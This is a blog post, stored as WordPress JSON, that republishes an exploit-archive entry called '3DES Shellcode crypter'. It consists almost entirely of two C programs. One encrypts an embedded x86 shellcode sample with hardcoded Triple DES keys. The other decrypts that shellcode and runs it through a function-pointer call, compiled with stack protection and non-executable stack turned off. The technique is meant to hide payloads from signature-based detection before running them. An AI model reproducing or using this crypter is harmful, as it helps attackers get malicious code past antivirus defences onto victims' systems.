{"id":27071,"date":"2022-07-13T11:40:03","date_gmt":"2022-07-13T07:40:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167723\/3des_crypter.c"},"modified":"2022-07-24T08:50:13","modified_gmt":"2022-07-24T04:20:13","slug":"3des-shellcode-crypter","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/3des-shellcode-crypter\/","title":{"rendered":"3DES Shellcode Crypter"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: 3DES Shellcode crypter<br \/>\n# Date: 08\/07\/2022<br \/>\n# Exploit Author: d7x<br \/>\n# Tested on: Ubuntu x86 \/ Ubuntu x86_64 \/ Debian 11 &#8220;bullseye&#8221;<\/p>\n<p dir=\"ltr\">cat &gt; 3des_crypter.c &lt;&lt; EOF<br \/>\n\/* ***<br \/>\n*<br \/>\n* 3DES Shellcode crypter by d7x<br \/>\n*<br \/>\n* d7x.promiselabs.net<br \/>\n*<br \/>\n* Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_crypter 3des_crypter.c -lssl -lcrypto<br \/>\n*<br \/>\n* ***\/<\/p>\n<p dir=\"ltr\">#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;openssl\/des.h&gt;<\/p>\n<p dir=\"ltr\">\/* Triple DES key for Encryption and Decryption *\/<br \/>\nDES_cblock Key1 = &#8220;3DES&#8221;;<br \/>\nDES_cblock Key2 = &#8220;Crypter&#8221;;<br \/>\nDES_cblock Key3 = &#8220;by d7x&#8221;;<br \/>\nDES_key_schedule SchKey1,SchKey2,SchKey3;<\/p>\n<p dir=\"ltr\">\/* Print Encrypted and Decrypted bytes *\/<br \/>\nvoid print_data(const char *tittle, const void* data, int len);<\/p>\n<p dir=\"ltr\">int main()<br \/>\n{<\/p>\n<p dir=\"ltr\">\/* Apply 3DES keys *\/<br \/>\nDES_set_key((DES_cblock *)Key1, &amp;SchKey1);<br \/>\nDES_set_key((DES_cblock *)Key2, &amp;SchKey2);<br \/>\nDES_set_key((DES_cblock *)Key3, &amp;SchKey3);<\/p>\n<p dir=\"ltr\">\/* Place shellcode here *\/<br \/>\nunsigned char input_data[] = &#8220;\\xbb\\xcc\\xfe\\x70\\x5c\\xdb\\xd8\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1\\x08\\x83\\xc5\\x04\\x31\\x5d\\x11\\x03\\x5d\\x11\\xe2\\x39\\x67\\x1a\\x53\\x99\\xca\\x33\\x6c\\x19\\xeb\\xc3\\x5c\\x6d\\x86\\xb3\\x8d\\xeb\\x58\\x6f\\xba\\x0c\\x59\\x8f\\x3a\\xab\\x97\\x0f\\x50\\x4a\\x70\\xdd\\x25&#8221;;<br \/>\n\/* =&gt; chmods \/tmp\/f to 0777 *\/<\/p>\n<p dir=\"ltr\">\/* Init vector *\/<br \/>\nDES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };<\/p>\n<p dir=\"ltr\">\/\/ DES_cblock iv = { 0xe1, 0xe2, 0xe3, 0xd4, 0xd5, 0xc6, 0xc7, 0xa8 };<br \/>\nDES_set_odd_parity(&amp;iv);<\/p>\n<p dir=\"ltr\">\/* Check for Weak key generation: https:\/\/www.openssl.org\/docs\/manmaster\/man3\/DES_set_key_checked.html,<br \/>\n* If the key is a weak key, then -2 is returned *\/<br \/>\nif ( -2 == (DES_set_key_checked(&amp;Key1, &amp;SchKey1) || DES_set_key_checked(&amp;Key2, &amp;SchKey2) || DES_set_key_checked(&amp;Key3, &amp;SchKey3)))<br \/>\n{<br \/>\nprintf(&#8221; Weak key &#8230;.\\n&#8221;);<br \/>\nreturn 1;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/* Buffers for Encryption and Decryption *\/<br \/>\nunsigned char* cipher[sizeof(input_data)];<br \/>\nunsigned char* text[sizeof(input_data)];<\/p>\n<p dir=\"ltr\">\/* Triple-DES CBC Encryption *\/<br \/>\nDES_ede3_cbc_encrypt( (unsigned char*)input_data, (unsigned char*)cipher, sizeof(input_data), &amp;SchKey1, &amp;SchKey2, &amp;SchKey3,&amp;iv, DES_ENCRYPT);<\/p>\n<p dir=\"ltr\">\/* Triple-DES CBC Decryption *\/<br \/>\nmemset(iv,0,sizeof(DES_cblock)); \/\/ You need to start with the same iv value<br \/>\nDES_set_odd_parity(&amp;iv);<br \/>\nDES_ede3_cbc_encrypt( (unsigned char*)cipher, (unsigned char*)text, sizeof(input_data), &amp;SchKey1, &amp;SchKey2, &amp;SchKey3,&amp;iv,DES_DECRYPT);<\/p>\n<p dir=\"ltr\">\/* Place the encrypted output here to verify the integrity *\/<br \/>\nunsigned char c[] = \\<br \/>\n&#8220;\\xd5\\x0c\\x1e\\xee\\xfd\\x1f\\xb4\\x50\\xac\\xde\\x1a\\x59\\x4c\\x10\\xe9\\x7a\\x2c\\xb0\\x09\\x79\\x2c\\xe0\\x28\\x17\\xf4\\x60\\xc9\\x0a\\x33\\x27\\x48\\x03\\xc4\\x8d\\x4d\\x26\\x0b\\x7c\\xdd\\xa9\\xcf\\x65\\x0f\\xac\\xd3\\xc2\\xa8\\x67\\xde\\xf6\\x83\\x02\\x8a\\x01\\xa8\\x1f\\x95\\x23\\x94\\x25\\xdf\\xce\\xa3\\x79\\x0c\\xdc\\x81\\xf7&#8221;;<br \/>\nunsigned char decrypted[sizeof(c)];<\/p>\n<p dir=\"ltr\">\/\/ DES_set_odd_parity(&amp;iv);<br \/>\nmemset(iv,0,sizeof(DES_cblock)); \/\/ You need to start with the same iv value<br \/>\nDES_set_odd_parity(&amp;iv);<br \/>\nDES_ede3_cbc_encrypt( (unsigned char*)c, (unsigned char*)decrypted, sizeof(c), &amp;SchKey1, &amp;SchKey2, &amp;SchKey3,&amp;iv,DES_DECRYPT);<\/p>\n<p dir=\"ltr\">\/* Printing and Verifying *\/<br \/>\nprint_data(&#8220;\\n Original &#8220;,input_data,strlen(input_data));<br \/>\nprint_data(&#8220;\\n Encrypted&#8221;,cipher,strlen(cipher));<br \/>\nprint_data(&#8220;\\n Decrypted&#8221;,text,strlen(input_data));<br \/>\nprint_data(&#8220;\\n Decrypted (manual) &#8220;,decrypted,strlen(decrypted));<\/p>\n<p dir=\"ltr\">\/* Run shellcode *\/<br \/>\n\/* int (*ret)() = (int(*)())decrypted;<br \/>\nret(); *\/<\/p>\n<p dir=\"ltr\">return 0;<br \/>\n}<\/p>\n<p dir=\"ltr\">void print_data(const char *tittle, const void* data, int len)<br \/>\n{<br \/>\nprintf(&#8220;%s : &#8220;,tittle);<br \/>\nconst unsigned char * p = (const unsigned char*)data;<br \/>\nint i = 0;<\/p>\n<p dir=\"ltr\">\/* len-1 to omit the \\x00 null terminator at the end *\/<br \/>\nfor (; i&lt;len;++i)<br \/>\nprintf(&#8220;\\\\x%02x&#8221;, *p++);<br \/>\nprintf(&#8221; Size: %d&#8221;, len);<\/p>\n<p dir=\"ltr\">printf(&#8220;\\n&#8221;);<br \/>\n}<br \/>\nEOF<\/p>\n<p dir=\"ltr\">cat &gt; 3des_decrypt.c &lt;&lt; EOF<br \/>\n\/* ***<br \/>\n*<br \/>\n* 3DES Shellcode crypter by d7x<br \/>\n*<br \/>\n* d7x.promiselabs.net<br \/>\n*<br \/>\n* Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_decrypt 3des_decrypt.c -lssl -lcrypto<br \/>\n*<br \/>\n* ***\/<\/p>\n<p dir=\"ltr\">#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;openssl\/des.h&gt;<\/p>\n<p dir=\"ltr\">\/* Triple DES key for Encryption and Decryption *\/<br \/>\nDES_cblock Key1 = &#8220;3DES&#8221;;<br \/>\nDES_cblock Key2 = &#8220;Crypter&#8221;;<br \/>\nDES_cblock Key3 = &#8220;by d7x&#8221;;<br \/>\nDES_key_schedule SchKey1,SchKey2,SchKey3;<\/p>\n<p dir=\"ltr\">\/* Print Encrypted and Decrypted data packets *\/<br \/>\nvoid print_data(const char *tittle, const void* data, int len);<\/p>\n<p dir=\"ltr\">main()<br \/>\n{<\/p>\n<p dir=\"ltr\">\/* Apply 3DES keys *\/<\/p>\n<p dir=\"ltr\">DES_set_key((DES_cblock *)Key1, &amp;SchKey1);<br \/>\nDES_set_key((DES_cblock *)Key2, &amp;SchKey2);<br \/>\nDES_set_key((DES_cblock *)Key3, &amp;SchKey3);<\/p>\n<p dir=\"ltr\">\/* Encrypted shellcode generated by 3des_crypter *\/<br \/>\nunsigned char shellcode_3des[] = \\<br \/>\n&#8220;\\xd5\\x0c\\x1e\\xee\\xfd\\x1f\\xb4\\x50\\xac\\xde\\x1a\\x59\\x4c\\x10\\xe9\\x7a\\x2c\\xb0\\x09\\x79\\x2c\\xe0\\x28\\x17\\xf4\\x60\\xc9\\x0a\\x33\\x27\\x48\\x03\\xc4\\x8d\\x4d\\x26\\x0b\\x7c\\xdd\\xa9\\xcf\\x65\\x0f\\xac\\xd3\\xc2\\xa8\\x67\\xde\\xf6\\x83\\x02\\x8a\\x01\\xa8\\x1f\\x95\\x23\\x94\\x25\\xdf\\xce\\xa3\\x79\\x44\\x5d\\x82\\xff\\x40\\x5d\\x82\\xff\\x06&#8221;;<\/p>\n<p dir=\"ltr\">\/* Init vector *\/<\/p>\n<p dir=\"ltr\">DES_cblock iv = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };<br \/>\nDES_set_odd_parity(&amp;iv);<\/p>\n<p dir=\"ltr\">\/* buffer for the decrypted string *\/<br \/>\nunsigned char* decrypted[sizeof(shellcode_3des)];<\/p>\n<p dir=\"ltr\">\/* Triple-DES CBC Decryption *\/<\/p>\n<p dir=\"ltr\">memset(iv,0,sizeof(DES_cblock)); \/\/ You need to start with the same iv value<br \/>\nDES_set_odd_parity(&amp;iv);<br \/>\nDES_ede3_cbc_encrypt( (unsigned char*)shellcode_3des, (unsigned char*)decrypted, sizeof(shellcode_3des), &amp;SchKey1, &amp;SchKey2, &amp;SchKey3,&amp;iv,DES_DECRYPT);<\/p>\n<p dir=\"ltr\">memcpy(shellcode_3des, decrypted, strlen(decrypted) );<br \/>\n\/\/ strcpy(shellcode_3des, decrypted);<\/p>\n<p dir=\"ltr\">\/* Printing and executing *\/<\/p>\n<p dir=\"ltr\">print_data(&#8220;\\n Encrypted&#8221;,shellcode_3des,sizeof(shellcode_3des));<br \/>\nprint_data(&#8220;\\n Decrypted&#8221;,decrypted,strlen(decrypted));<\/p>\n<p dir=\"ltr\">\/* Run shellcode *\/<\/p>\n<p dir=\"ltr\">int (*ret)() = (int(*)())shellcode_3des;<br \/>\nret();<\/p>\n<p dir=\"ltr\">return 0;<br \/>\n}<\/p>\n<p dir=\"ltr\">void print_data(const char *tittle, const void* data, int len)<br \/>\n{<br \/>\nprintf(&#8220;%s : &#8220;,tittle);<br \/>\nconst unsigned char * p = (const unsigned char*)data;<br \/>\nint i = 0;<\/p>\n<p dir=\"ltr\">\/* len-1 to omit the \\x00 null terminator at the end *\/<br \/>\nfor (; i&lt;len;++i)<br \/>\nprintf(&#8220;\\\\x%02x&#8221;, *p++);<br \/>\nprintf(&#8221; Size: %d&#8221;, len);<\/p>\n<p dir=\"ltr\">printf(&#8220;\\n&#8221;);<br \/>\n}<br \/>\nEOF<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: 3DES Shellcode crypter # Date: 08\/07\/2022 # Exploit Author: d7x # Tested on: Ubuntu x86 \/ Ubuntu x86_64 \/ Debian 11 &#8220;bullseye&#8221; cat &gt; 3des_crypter.c &lt;&lt; EOF \/* *** * * 3DES Shellcode crypter by d7x * * d7x.promiselabs.net * * Usage: gcc -fno-stack-protector -zexecstack -m32 -o 3des_crypter 3des_crypter.c -lssl -lcrypto * &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27071","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27071"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27071\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27071"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}